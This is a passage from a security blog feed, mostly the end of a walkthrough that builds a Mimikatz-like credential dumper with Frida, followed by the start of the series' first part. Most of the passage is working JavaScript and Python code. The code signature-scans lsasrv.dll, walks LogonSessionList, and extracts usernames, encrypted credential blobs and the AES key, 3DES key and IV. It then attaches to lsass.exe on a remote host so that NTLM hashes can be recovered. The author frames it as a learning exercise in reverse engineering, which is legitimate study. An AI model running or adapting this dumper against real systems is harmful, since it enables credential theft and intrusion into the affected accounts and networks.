		<span class="k">if</span> <span class="p">(</span><span class="nx">operand</span><span class="p">[</span><span class="dl">"</span><span class="s2">value</span><span class="dl">"</span><span class="p">][</span><span class="dl">"</span><span class="s2">base</span><span class="dl">"</span><span class="p">]</span> <span class="o">!==</span> <span class="dl">"</span><span class="s2">rip</span><span class="dl">"</span><span class="p">)</span> <span class="p">{</span>
			<span class="k">return</span> <span class="kc">null</span><span class="p">;</span>
		<span class="p">}</span>
		<span class="c1">//Get the offset.</span>
		<span class="kd">var</span> <span class="nx">ripOffsetInt</span> <span class="o">=</span> <span class="nx">operand</span><span class="p">[</span><span class="dl">"</span><span class="s2">value</span><span class="dl">"</span><span class="p">][</span><span class="dl">"</span><span class="s2">disp</span><span class="dl">"</span><span class="p">];</span>
		<span class="kd">var</span> <span class="nx">ripOffset</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">NativePointer</span><span class="p">(</span><span class="nx">ripOffsetInt</span><span class="p">);</span>
		<span class="c1">// Finally, we need to convert the offset into an actual address.</span>
		<span class="c1">// To do this, find what RIP will be just after our target instruction, then add the offset.</span>
		<span class="kd">var</span> <span class="nx">rip</span> <span class="o">=</span> <span class="nx">targetInstruction</span><span class="p">.</span><span class="nx">next</span><span class="p">;</span>
		<span class="kd">var</span> <span class="nx">target</span> <span class="o">=</span> <span class="nx">rip</span><span class="p">.</span><span class="nx">add</span><span class="p">(</span><span class="nx">ripOffset</span><span class="p">);</span>
		<span class="k">return</span> <span class="nx">target</span><span class="p">;</span>
	<span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Using this function, we can update our memory scanner from before to find the LogonSessionList variable:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">var</span> <span class="nx">lsasrv</span> <span class="o">=</span> <span class="nx">Process</span><span class="p">.</span><span class="nx">getModuleByName</span><span class="p">(</span><span class="dl">"</span><span class="s2">lsasrv.dll</span><span class="dl">"</span><span class="p">)</span>
<span class="kd">var</span> <span class="nx">sequence</span> <span class="o">=</span> <span class="dl">"</span><span class="s2">33 ff 41 89 37 4c 8b f3 45 85 c9 74</span><span class="dl">"</span><span class="p">;</span> <span class="c1">//offset is 0x14</span>

<span class="nx">Memory</span><span class="p">.</span><span class="nx">scan</span><span class="p">(</span><span class="nx">lsasrv</span><span class="p">.</span><span class="nx">base</span><span class="p">,</span> <span class="nx">lsasrv</span><span class="p">.</span><span class="nx">size</span><span class="p">,</span> <span class="nx">sequence</span><span class="p">,</span> <span class="p">{</span>
	<span class="nx">onMatch</span><span class="p">(</span><span class="nx">signature</span><span class="p">,</span> <span class="nx">size</span><span class="p">)</span> <span class="p">{</span>
		<span class="kd">var</span> <span class="nx">logonSessionList</span> <span class="o">=</span> <span class="nx">findDereferencedAddress</span><span class="p">(</span><span class="nx">signature</span><span class="p">,</span> <span class="mh">0x14</span><span class="p">);</span>
		<span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="dl">"</span><span class="s2">LogonSessionList is at </span><span class="dl">"</span> <span class="o">+</span> <span class="nx">logonSessionList</span><span class="p">);</span>
	<span class="p">}</span>
<span class="p">});</span>
</code></pre></div></div>

<p>Testing this against our 64-bit Windows 10 VM, we can see that we’re able to successfully identify the address of <em>LogonSessionList</em>:</p>

<p><img src="/img/finding-logonsessionlist.png" alt="Frida output demonstrating the address of LogonSessionList" /></p>

<h2 id="parsing-logonsessionlist">Parsing LogonSessionList</h2>

<p>Now we’re getting underway - with no hooking or symbol enumeration required, we’ve got a pointer to the <em>LogonSessionList</em> variable. But before we can convert this into actionable credential material, we need to parse it. Once again, the Mimikatz source code comes to our rescue here - these are undocumented structures, but gentilkiwi’s code includes <a href="https://github.com/gentilkiwi/mimikatz/blob/master/mimikatz/modules/sekurlsa/kuhl_m_sekurlsa_utils.h">implementations for many of them</a>. For this specific case - Windows 10 on x64 - we will want to use <em>_KIWI_MSV1_0_LIST_63</em>:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">typedef</span> <span class="k">struct</span> <span class="n">_KIWI_MSV1_0_LIST_63</span> <span class="p">{</span>
	<span class="k">struct</span> <span class="n">_KIWI_MSV1_0_LIST_63</span> <span class="o">*</span><span class="n">Flink</span><span class="p">;</span>	<span class="c1">//off_2C5718</span>
	<span class="k">struct</span> <span class="n">_KIWI_MSV1_0_LIST_63</span> <span class="o">*</span><span class="n">Blink</span><span class="p">;</span> <span class="c1">//off_277380</span>
	<span class="n">PVOID</span> <span class="n">unk0</span><span class="p">;</span> <span class="c1">// unk_2C0AC8</span>
	<span class="n">ULONG</span> <span class="n">unk1</span><span class="p">;</span> <span class="c1">// 0FFFFFFFFh</span>
	<span class="n">PVOID</span> <span class="n">unk2</span><span class="p">;</span> <span class="c1">// 0</span>
	<span class="n">ULONG</span> <span class="n">unk3</span><span class="p">;</span> <span class="c1">// 0</span>
	<span class="n">ULONG</span> <span class="n">unk4</span><span class="p">;</span> <span class="c1">// 0</span>
	<span class="n">ULONG</span> <span class="n">unk5</span><span class="p">;</span> <span class="c1">// 0A0007D0h</span>
	<span class="n">HANDLE</span> <span class="n">hSemaphore6</span><span class="p">;</span> <span class="c1">// 0F9Ch</span>
	<span class="n">PVOID</span> <span class="n">unk7</span><span class="p">;</span> <span class="c1">// 0</span>
	<span class="n">HANDLE</span> <span class="n">hSemaphore8</span><span class="p">;</span> <span class="c1">// 0FB8h</span>
	<span class="n">PVOID</span> <span class="n">unk9</span><span class="p">;</span> <span class="c1">// 0</span>
	<span class="n">PVOID</span> <span class="n">unk10</span><span class="p">;</span> <span class="c1">// 0</span>
	<span class="n">ULONG</span> <span class="n">unk11</span><span class="p">;</span> <span class="c1">// 0</span>
	<span class="n">ULONG</span> <span class="n">unk12</span><span class="p">;</span> <span class="c1">// 0 </span>
	<span class="n">PVOID</span> <span class="n">unk13</span><span class="p">;</span> <span class="c1">// unk_2C0A28</span>
	<span class="n">LUID</span> <span class="n">LocallyUniqueIdentifier</span><span class="p">;</span>
	<span class="n">LUID</span> <span class="n">SecondaryLocallyUniqueIdentifier</span><span class="p">;</span>
	<span class="n">BYTE</span> <span class="n">waza</span><span class="p">[</span><span class="mi">12</span><span class="p">];</span> <span class="c1">/// to do (maybe align)</span>
	<span class="n">LSA_UNICODE_STRING</span> <span class="n">UserName</span><span class="p">;</span>
	<span class="n">LSA_UNICODE_STRING</span> <span class="n">Domaine</span><span class="p">;</span>
	<span class="n">PVOID</span> <span class="n">unk14</span><span class="p">;</span>
	<span class="n">PVOID</span> <span class="n">unk15</span><span class="p">;</span>
	<span class="n">LSA_UNICODE_STRING</span> <span class="n">Type</span><span class="p">;</span>
	<span class="n">PSID</span>  <span class="n">pSid</span><span class="p">;</span>
	<span class="n">ULONG</span> <span class="n">LogonType</span><span class="p">;</span>
	<span class="n">PVOID</span> <span class="n">unk18</span><span class="p">;</span>
	<span class="n">ULONG</span> <span class="n">Session</span><span class="p">;</span>
	<span class="n">LARGE_INTEGER</span> <span class="n">LogonTime</span><span class="p">;</span> <span class="c1">// autoalign x86</span>
	<span class="n">LSA_UNICODE_STRING</span> <span class="n">LogonServer</span><span class="p">;</span>
	<span class="n">PKIWI_MSV1_0_CREDENTIALS</span> <span class="n">Credentials</span><span class="p">;</span>
	<span class="n">PVOID</span> <span class="n">unk19</span><span class="p">;</span>
	<span class="n">PVOID</span> <span class="n">unk20</span><span class="p">;</span>
	<span class="n">PVOID</span> <span class="n">unk21</span><span class="p">;</span>
	<span class="n">ULONG</span> <span class="n">unk22</span><span class="p">;</span>
	<span class="n">ULONG</span> <span class="n">unk23</span><span class="p">;</span>
	<span class="n">ULONG</span> <span class="n">unk24</span><span class="p">;</span>
	<span class="n">ULONG</span> <span class="n">unk25</span><span class="p">;</span>
	<span class="n">ULONG</span> <span class="n">unk26</span><span class="p">;</span>
	<span class="n">PVOID</span> <span class="n">unk27</span><span class="p">;</span>
	<span class="n">PVOID</span> <span class="n">unk28</span><span class="p">;</span>
	<span class="n">PVOID</span> <span class="n">unk29</span><span class="p">;</span>
	<span class="n">PVOID</span> <span class="n">CredentialManager</span><span class="p">;</span>
<span class="p">}</span> <span class="n">KIWI_MSV1_0_LIST_63</span><span class="p">,</span> <span class="o">*</span><span class="n">PKIWI_MSV1_0_LIST_63</span><span class="p">;</span>
</code></pre></div></div>

<p>That’s an intimidating struct! Don’t worry, we won’t need all of it. This struct represents a single cached credential in the linked list. We want all of the credentials, so the first order of business is to enumerate the address of every other element in the list. The <em>Flink</em> variable, a pointer to the next element in the list, is the very first member, so this is an easy job:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">function</span> <span class="nx">getLogonSessions</span><span class="p">(</span><span class="nx">ptr</span><span class="p">,</span> <span class="nx">max</span><span class="p">)</span> <span class="p">{</span>
	<span class="c1">// Given a pointer to lsasrv!LogonSessionList, enumerate the address of all logon sessions that it contains.</span>
	<span class="c1">// LogonSessionList is a simple linked list, so the first element of each entry is a pointer to the next one.</span>
	<span class="kd">var</span> <span class="nx">sessions</span> <span class="o">=</span> <span class="p">[];</span>
	<span class="kd">var</span> <span class="nx">current</span> <span class="o">=</span> <span class="nx">ptr</span><span class="p">;</span>
	
	<span class="k">for</span> <span class="p">(</span><span class="kd">var</span> <span class="nx">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="nx">i</span> <span class="o">&lt;</span> <span class="nx">max</span><span class="p">;</span> <span class="nx">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
		<span class="nx">sessions</span><span class="p">.</span><span class="nx">push</span><span class="p">(</span><span class="nx">current</span><span class="p">.</span><span class="nx">toString</span><span class="p">());</span>
		<span class="nx">current</span> <span class="o">=</span> <span class="nx">current</span><span class="p">.</span><span class="nx">readPointer</span><span class="p">();</span>
		<span class="k">if</span> <span class="p">(</span><span class="nx">sessions</span><span class="p">.</span><span class="nx">includes</span><span class="p">(</span> <span class="nx">current</span><span class="p">.</span><span class="nx">toString</span><span class="p">()</span> <span class="p">))</span> <span class="p">{</span>
			<span class="nx">i</span> <span class="o">=</span> <span class="nx">max</span>
		<span class="p">}</span>
	<span class="p">}</span>
	
	<span class="k">return</span> <span class="nx">sessions</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>This will allow us to turn our pointer to <em>LogonSessionList</em> into an array of pointers, each pointing to a specific session. Now we need to parse the actual data out of them. This may seem daunting, but we only actually care about a few bits of information: the <em>UserName</em>, <em>DomainName</em> and <em>Credentials</em> variables.</p>

<p>The <em>UserName</em> and <em>DomainName</em> are simple. They are both of type <em>UNICODE_STRING</em>, and we dealt with those in part 1. It’s trivial to write a simple parser to extract each value:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">function</span> <span class="nx">getUsernameFromLogonSession</span><span class="p">(</span><span class="nx">ptr</span><span class="p">)</span> <span class="p">{</span>
	<span class="c1">// Given a pointer to a LogonSession, extract the username (a UNICODE_STRING).</span>
	<span class="kd">var</span> <span class="nx">usernamePtr</span> <span class="o">=</span> <span class="nx">ptr</span><span class="p">.</span><span class="nx">add</span><span class="p">(</span><span class="mh">0x90</span><span class="p">);</span>
	<span class="kd">var</span> <span class="nx">len</span> <span class="o">=</span> <span class="nx">usernamePtr</span><span class="p">.</span><span class="nx">readUShort</span><span class="p">();</span>
	<span class="kd">var</span> <span class="nx">usernameBuffer</span> <span class="o">=</span> <span class="nx">usernamePtr</span><span class="p">.</span><span class="nx">add</span><span class="p">(</span><span class="mh">0x8</span><span class="p">).</span><span class="nx">readPointer</span><span class="p">();</span>
	<span class="kd">var</span> <span class="nx">username</span> <span class="o">=</span> <span class="nx">usernameBuffer</span><span class="p">.</span><span class="nx">readUtf16String</span><span class="p">(</span><span class="nx">len</span><span class="p">);</span>
	<span class="k">return</span> <span class="nx">username</span><span class="p">;</span>
	
<span class="p">}</span>

<span class="kd">function</span> <span class="nx">getDomainFromLogonSession</span><span class="p">(</span><span class="nx">ptr</span><span class="p">)</span> <span class="p">{</span>
	<span class="c1">// Given a pointer to a LogonSession, extract the domain (a UNICODE_STRING).</span>
	<span class="kd">var</span> <span class="nx">domainPtr</span> <span class="o">=</span> <span class="nx">ptr</span><span class="p">.</span><span class="nx">add</span><span class="p">(</span><span class="mh">0xa0</span><span class="p">);</span>
	<span class="kd">var</span> <span class="nx">len</span> <span class="o">=</span> <span class="nx">domainPtr</span><span class="p">.</span><span class="nx">readUShort</span><span class="p">();</span>
	<span class="kd">var</span> <span class="nx">domainBuffer</span> <span class="o">=</span> <span class="nx">domainPtr</span><span class="p">.</span><span class="nx">add</span><span class="p">(</span><span class="mh">0x8</span><span class="p">).</span><span class="nx">readPointer</span><span class="p">();</span>
	<span class="kd">var</span> <span class="nx">domain</span> <span class="o">=</span> <span class="nx">domainBuffer</span><span class="p">.</span><span class="nx">readUtf16String</span><span class="p">(</span><span class="nx">len</span><span class="p">);</span>
	<span class="k">return</span> <span class="nx">domain</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>The final member, <em>Credentials</em>, is a bit more complex. It’s a pointer to a struct that Mimikatz calls <em>_KIWI_MSV1_0_CREDENTIALS</em>. This, in turn, contains a pointer to the actual “primary credentials” object at offset 0x10 (<em>_KIWI_MSV1_0_PRIMARY_CREDENTIALS</em>). Within <strong>that</strong> object, we can find the actual credentials blob at offset 0x18.</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">function</span> <span class="nx">getPrimaryCredentialsFromLogonSession</span><span class="p">(</span><span class="nx">ptr</span><span class="p">)</span> <span class="p">{</span>
	<span class="c1">// Given a pointer to a LogonSession, extract the encrypted credentials blob.</span>
	<span class="kd">var</span> <span class="nx">credentialsPtr</span> <span class="o">=</span> <span class="nx">ptr</span><span class="p">.</span><span class="nx">add</span><span class="p">(</span><span class="mh">0x108</span><span class="p">).</span><span class="nx">readPointer</span><span class="p">();</span>
	
	<span class="c1">// The credentials pointer can be null, in which case we should abort.</span>
	<span class="k">if</span> <span class="p">(</span><span class="nx">credentialsPtr</span><span class="p">.</span><span class="nx">toString</span><span class="p">()</span> <span class="o">==</span> <span class="dl">"</span><span class="s2">0x0</span><span class="dl">"</span><span class="p">)</span> <span class="p">{</span>
		<span class="k">return</span> <span class="kc">null</span><span class="p">;</span>
	<span class="p">}</span>
	
	<span class="c1">// The credentials pointer points to a struct that gentilkiwi calls _KIWI_MSV1_0_CREDENTIALS.</span>
	<span class="c1">// This struct, in turn, contains a pointer to the actual "primary credentials" object at offset 0x10.</span>
	<span class="kd">var</span> <span class="nx">primaryCredentialsPtr</span> <span class="o">=</span> <span class="nx">credentialsPtr</span><span class="p">.</span><span class="nx">add</span><span class="p">(</span><span class="mh">0x10</span><span class="p">).</span><span class="nx">readPointer</span><span class="p">();</span>
	
	<span class="c1">// Within the "primary credentials" object (AKA _KIWI_MSV1_0_PRIMARY_CREDENTIALS), the actual encrypted blob is located at offset 0x18.</span>
	<span class="kd">var</span> <span class="nx">cryptoblobPtr</span> <span class="o">=</span> <span class="nx">primaryCredentialsPtr</span><span class="p">.</span><span class="nx">add</span><span class="p">(</span><span class="mh">0x18</span><span class="p">);</span>
	<span class="c1">// It's a UNICODE_STRING so we need to parse it to find the correct size and read the cryptoblob.</span>
	<span class="kd">var</span> <span class="nx">cryptoblobLen</span> <span class="o">=</span> <span class="nx">cryptoblobPtr</span><span class="p">.</span><span class="nx">readUShort</span><span class="p">();</span>
	<span class="kd">var</span> <span class="nx">cryptoblobBuffer</span> <span class="o">=</span> <span class="nx">cryptoblobPtr</span><span class="p">.</span><span class="nx">add</span><span class="p">(</span><span class="mh">0x8</span><span class="p">).</span><span class="nx">readPointer</span><span class="p">();</span>
	<span class="kd">var</span> <span class="nx">cryptoblob</span> <span class="o">=</span> <span class="nx">cryptoblobBuffer</span><span class="p">.</span><span class="nx">readByteArray</span><span class="p">(</span><span class="nx">cryptoblobLen</span><span class="p">);</span>
	<span class="k">return</span> <span class="nx">cryptoblob</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Now we have the username, domain name, and credential material. We’re not done yet, though. As you might have guessed from the code block above, the credential material is encrypted and is useless to us in its current format. If we want to make use of it, we’re going to need to go hunting for decryption keys.</p>

<h2 id="keys-to-the-kingdom">Keys to the Kingdom</h2>

<p>In order to be sure we can decrypt whatever credentials we have obtained from <em>lsasrv!LogonSessionList</em>, we will need to extract three more variables from process memory: these are <em>lsasrv!hAesKey</em>, <em>lsasrv!h3DesKey</em> and the associated Initialization Vector (IV) for the AES key. Each of these values is regenerated every time <em>lsass.exe</em> is started, so we’ll need to extract them every time we want to dump credentials.</p>

<p>The process for obtaining these variables is exactly the same as for <em>LogonSessionList</em>, We need to use some predetermined signature and offset to find an instruction that dereferences them. We can reuse our function from before to do this:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">var</span> <span class="nx">lsasrv</span> <span class="o">=</span> <span class="nx">Process</span><span class="p">.</span><span class="nx">getModuleByName</span><span class="p">(</span><span class="dl">"</span><span class="s2">lsasrv.dll</span><span class="dl">"</span><span class="p">)</span>
<span class="kd">var</span> <span class="nx">sequence</span> <span class="o">=</span> <span class="dl">"</span><span class="s2">83 64 24 30 00 48 8d 45 e0 44 8b 4d d8 48 8d 15</span><span class="dl">"</span><span class="p">;</span> 

<span class="c1">// LsaInitializeProtectedMemory Signature + 0xD = lsasrv!hAesKey</span>
<span class="c1">// LsaInitializeProtectedMemory Signature - 0x5C = lsasrv!h3DesKey</span>
<span class="c1">// LsaInitializeProtectedMemory Signature + 0x40 = IV for AES Key</span>

<span class="nx">Memory</span><span class="p">.</span><span class="nx">scan</span><span class="p">(</span><span class="nx">lsasrv</span><span class="p">.</span><span class="nx">base</span><span class="p">,</span> <span class="nx">lsasrv</span><span class="p">.</span><span class="nx">size</span><span class="p">,</span> <span class="nx">sequence</span><span class="p">,</span> <span class="p">{</span>
	<span class="nx">onMatch</span><span class="p">(</span><span class="nx">signature</span><span class="p">,</span> <span class="nx">size</span><span class="p">)</span> <span class="p">{</span>
		<span class="kd">var</span> <span class="nx">aesKey</span> <span class="o">=</span> <span class="nx">findDereferencedAddress</span><span class="p">(</span><span class="nx">signature</span><span class="p">,</span> <span class="mh">0xD</span><span class="p">);</span>
		<span class="kd">var</span> <span class="nx">tripleDesKey</span> <span class="o">=</span> <span class="nx">findDereferencedAddress</span><span class="p">(</span><span class="nx">signature</span><span class="p">,</span> <span class="o">-</span><span class="mh">0x5C</span><span class="p">);</span>
		<span class="kd">var</span> <span class="nx">aesIV</span> <span class="o">=</span> <span class="nx">findDereferencedAddress</span><span class="p">(</span><span class="nx">signature</span><span class="p">,</span> <span class="mh">0x40</span><span class="p">);</span>
	<span class="p">}</span>
<span class="p">});</span>
</code></pre></div></div>

<p>Parsing the actual keys is very simple, thankfully. The AES and 3DES keys are parsed in the exact same way, and the IV literally just needs to be read from a pointer:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">function</span> <span class="nx">getKey</span><span class="p">(</span><span class="nx">ptr</span><span class="p">)</span> <span class="p">{</span>
	<span class="c1">// Given a pointer to the lsasrv!hAesKey or lsasrv!h3DesKey variable, extract the actual AES/3DES key.</span>
	<span class="c1">// Returns a ByteArray containing the key.</span>
	
	<span class="c1">// First, resolve the pointer to get the BCRYPT_HANDLE_KEY struct it references.</span>
	<span class="kd">var</span> <span class="nx">bcryptHandleKey</span> <span class="o">=</span> <span class="nx">ptr</span><span class="p">.</span><span class="nx">readPointer</span><span class="p">();</span>
	<span class="c1">// Next, locate the pointer to BCRYPT_KEY located at offset 0x10.</span>
	<span class="kd">var</span> <span class="nx">bcryptKey</span> <span class="o">=</span> <span class="nx">bcryptHandleKey</span><span class="p">.</span><span class="nx">add</span><span class="p">(</span><span class="mh">0x10</span><span class="p">).</span><span class="nx">readPointer</span><span class="p">();</span>
	<span class="c1">// Within BCRYPT_KEY, the HARD_KEY field is located at 0x38.</span>
	<span class="kd">var</span> <span class="nx">hardKey</span> <span class="o">=</span> <span class="nx">bcryptKey</span><span class="p">.</span><span class="nx">add</span><span class="p">(</span><span class="mh">0x38</span><span class="p">);</span>
	<span class="c1">// The first entry in HARD_KEY is a ULONG containing the key length.</span>
	<span class="kd">var</span> <span class="nx">len</span> <span class="o">=</span> <span class="nx">hardKey</span><span class="p">.</span><span class="nx">readULong</span><span class="p">();</span>
	<span class="c1">// The second entry (at offset 0x4) is the actual key.</span>
	<span class="kd">var</span> <span class="nx">keyBuffer</span> <span class="o">=</span> <span class="nx">hardKey</span><span class="p">.</span><span class="nx">add</span><span class="p">(</span><span class="mh">0x4</span><span class="p">);</span>
	<span class="kd">var</span> <span class="nx">key</span> <span class="o">=</span> <span class="nx">keyBuffer</span><span class="p">.</span><span class="nx">readByteArray</span><span class="p">(</span><span class="nx">len</span><span class="p">);</span>
	<span class="k">return</span> <span class="nx">key</span><span class="p">;</span>
<span class="p">}</span>

<span class="kd">function</span> <span class="nx">getAesIV</span><span class="p">(</span><span class="nx">ptr</span><span class="p">)</span> <span class="p">{</span>
	<span class="c1">// Given a pointer to the AES IV variable, extract the actual AES key.</span>
	<span class="c1">// Returns a ByteArray containing the IV.</span>
	<span class="k">return</span> <span class="nx">ptr</span><span class="p">.</span><span class="nx">readByteArray</span><span class="p">(</span><span class="mi">16</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Finally, we have everything we need - the user details, their encrypted credentials, and all of the decryption keys and associated IVs required to translate them into plaintext.</p>

<h2 id="beyond-javascript">Beyond JavaScript</h2>

<p>At this point, we are finished with our Frida script (which you can find <a href="https://github.com/ofasgard/mimiscan/blob/blog/MimiScan.js">here</a>). When we inject it into <em>lsass.exe</em>, it returns something that looks a bit like this:</p>

<p><img src="/img/mimiscan.png" alt="a screenshot of the raw output from MimiScan.py" /></p>

<p>I think we can all agree that this is a little underwhelming. Sure, all the raw data is there - and we could manually grab those cryptoblobs and decryption keys and perform the decryption itself, of course. But we’d generally prefer all that stuff to be done for us - what we want is decrypted credentials scrolling across our screen. Implementing that decryption logic in Frida’s JavaScript engine would be no fun at all, though; doing it in Python is much preferable.</p>

<p>For this, we can use Frida’s Python bindings. The way it works is simple: instead of injecting our Frida script into a process using the Frida CLI tool, we inject it using the <em>frida</em> Python library. The injected script is able to communicate back to the Python orchestrator with the <em>send()</em> function, which allows us to receive output such as credentials and decryption keys. We can then process it in Python instead of being stuck with JavaScript.</p>

<p>There are a few parts of our Python script that are especially important. Here is the part where we actually attach the script to <em>lsass.exe</em>:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">fd</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="s">"MimiScan.js"</span><span class="p">,</span> <span class="s">"r"</span><span class="p">)</span>
<span class="n">inject_script</span> <span class="o">=</span> <span class="n">fd</span><span class="p">.</span><span class="n">read</span><span class="p">()</span>
<span class="n">fd</span><span class="p">.</span><span class="n">close</span><span class="p">()</span>

<span class="n">target</span> <span class="o">=</span> <span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">+</span> <span class="s">":27042"</span>
<span class="n">device</span> <span class="o">=</span> <span class="n">frida</span><span class="p">.</span><span class="n">get_device_manager</span><span class="p">().</span><span class="n">add_remote_device</span><span class="p">(</span><span class="n">target</span><span class="p">)</span>

<span class="n">session</span> <span class="o">=</span> <span class="n">device</span><span class="p">.</span><span class="n">attach</span><span class="p">(</span><span class="s">"lsass.exe"</span><span class="p">)</span>
<span class="n">script</span> <span class="o">=</span> <span class="n">session</span><span class="p">.</span><span class="n">create_script</span><span class="p">(</span><span class="n">inject_script</span><span class="p">)</span>
</code></pre></div></div>

<p>Once we have attached, we need to create a hook that will receive and process messages sent to it by the injected script:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">on_message</span><span class="p">(</span><span class="n">message</span><span class="p">,</span> <span class="n">data</span><span class="p">):</span>
	<span class="k">if</span> <span class="s">"payload"</span> <span class="ow">not</span> <span class="ow">in</span> <span class="n">message</span><span class="p">:</span>
		<span class="k">return</span>
	<span class="n">payload</span> <span class="o">=</span> <span class="n">message</span><span class="p">[</span><span class="s">"payload"</span><span class="p">]</span>
	<span class="k">if</span> <span class="n">payload</span><span class="p">[</span><span class="s">"type"</span><span class="p">]</span> <span class="o">==</span> <span class="s">"credentials"</span><span class="p">:</span>
		<span class="n">credential</span> <span class="o">=</span> <span class="p">{}</span>
		<span class="n">credential</span><span class="p">[</span><span class="s">"domain"</span><span class="p">]</span> <span class="o">=</span> <span class="n">payload</span><span class="p">[</span><span class="s">"domain"</span><span class="p">]</span>
		<span class="n">credential</span><span class="p">[</span><span class="s">"username"</span><span class="p">]</span> <span class="o">=</span> <span class="n">payload</span><span class="p">[</span><span class="s">"username"</span><span class="p">]</span>
		<span class="n">credential</span><span class="p">[</span><span class="s">"crypto"</span><span class="p">]</span> <span class="o">=</span> <span class="n">data</span>
		<span class="n">credentials</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="n">credential</span><span class="p">)</span>
	<span class="k">if</span> <span class="n">payload</span><span class="p">[</span><span class="s">"type"</span><span class="p">]</span> <span class="o">==</span> <span class="s">"aeskey"</span><span class="p">:</span>
		<span class="n">keys</span><span class="p">[</span><span class="s">"aes"</span><span class="p">]</span> <span class="o">=</span> <span class="n">data</span>
	<span class="k">if</span> <span class="n">payload</span><span class="p">[</span><span class="s">"type"</span><span class="p">]</span> <span class="o">==</span> <span class="s">"aes_iv"</span><span class="p">:</span>
		<span class="n">keys</span><span class="p">[</span><span class="s">"aes_iv"</span><span class="p">]</span> <span class="o">=</span> <span class="n">data</span>
	<span class="k">if</span> <span class="n">payload</span><span class="p">[</span><span class="s">"type"</span><span class="p">]</span> <span class="o">==</span> <span class="s">"3deskey"</span><span class="p">:</span>
		<span class="n">keys</span><span class="p">[</span><span class="s">"3des"</span><span class="p">]</span> <span class="o">=</span> <span class="n">data</span>

<span class="n">script</span><span class="p">.</span><span class="n">on</span><span class="p">(</span><span class="s">'message'</span><span class="p">,</span> <span class="n">on_message</span><span class="p">)</span>
<span class="n">script</span><span class="p">.</span><span class="n">load</span><span class="p">()</span>
</code></pre></div></div>

<p>Once you have the actual data, it’s just a matter of performing the decryption and parsing out the important bits (the NTLM hash) from the resulting plaintext. This takes a little work, but it’s nothing too complicated. Here’s how the completed Python script looks in action:</p>

<p><img src="/img/mimiscan-decrypted.png" alt="A screenshot of the output from the final version of MimiScan.py" /></p>

<p>And with that, we’ve created a basic Mimikatz-alike written almost entirely in Frida! You can find the full script, and all of the code associated with this project, <a href="https://github.com/ofasgard/mimiscan/tree/blog">here</a>.</p>

<h2 id="conclusion">Conclusion</h2>

<p>My original aim was to illustrate that you can emulate the functionality of Mimikatz entirely within Frida’s engine, and I think I’ve done that. Some of the more heavy-duty tasks, like 3DES decryption, are just not feasible to implement in JavaScript - but Frida’s Python bindings are able to step up and fill the gaps when that’s the case.</p>

<p>There’s still a lot of work you can do from here. The implementation I’ve demonstrated in this blog is brittle. Unlike Mimikatz, it only targets a specific version and architecture of Windows. You could definitely expand it to make it more robust, selecting different signatures and offsets based on the version of Windows it is executed on. You could also use this project as a springboard to create your own implementation in C, Go, .NET, and so on - the basic logic remains the same, all that changes are implementation details.</p>

<p>You may recall that my original reason for doing all this was some advice I had: that writing your own Mimikatz implementation will help you learn about process manipulation and working with low-level memory in Windows. This definitely held true for me, at least for this kind of reverse engineering. When it comes to interpreting and parsing a complex assembly of structs and pointers in memory, I think hands-on practice is probably the best way to get comfortable.</p>

<p>Overall, this was an extremely satisfying project to work out and I recommend something like this to anyone who’s looking for an excuse to get their hands dirty with a little reverse engineering and memory manipulation!</p>]]></content><author><name>Callum Murphy-Hale</name></author><summary type="html"><![CDATA[A blog about dynamic instrumentation of Lsass for fun and profit!]]></summary></entry><entry><title type="html">Dumping Lsass with… Frida? (Part 1)</title><link href="https://please.donothack.us/blogs/mimikatz-frida-part-1" rel="alternate" type="text/html" title="Dumping Lsass with… Frida? (Part 1)" /><published>2022-10-21T00:00:00+00:00</published><updated>2022-10-21T00:00:00+00:00</updated><id>https://please.donothack.us/blogs/mimikatz-frida-part-1</id><content type="html" xml:base="https://please.donothack.us/blogs/mimikatz-frida-part-1"><![CDATA[<h1 id="dumping-lsass-with-frida-part-1">Dumping Lsass with… Frida? (Part 1)</h1>

<p>Recently I’ve been getting into <a href="https://frida.re/">Frida</a>, a great debugging and dynamic instrumentation tool with cross-platform support. Before I looked into it, I’d only ever heard of Frida as a tool for hacking mobile apps - I’d never considered it for anything else. However, I think Frida has just as much potential as a rapid prototyping tool for reverse engineering and exploit development. It’s agile, portable and fast, which makes it an excellent choice for experimenting and tinkering with a process.</p>

<p>I’ve had advice in the past that writing your own Mimikatz implementation is one of the best ways to get familiar working with memory hacking in Windows. A credential dumper that requires you to execute and connect to a Frida server on the target probably wouldn’t be your first choice on an engagement. However, it’s also not something I’ve seen anyone else doing, and I hoped that the end result would be a kind of “intermediary” tool that could be trivially ported to other languages.</p>

<p>In this first part, we’ll focus on taking advantage of Frida’s dynamic instrumentation features to backdoor Lsass remotely. In future articles, we’ll explore dumping credentials directly from Lsass memory.</p>

<h2 id="step-1-exploring-lsass">Step 1: Exploring Lsass</h2>

<p>You can find a wealth of tools and tutorials out there which discuss how Mimikatz works and how to dump credentials from the process memory of Lsass. I wanted to make a start completely blind, though, and see what I could discover with Frida alone.</p>

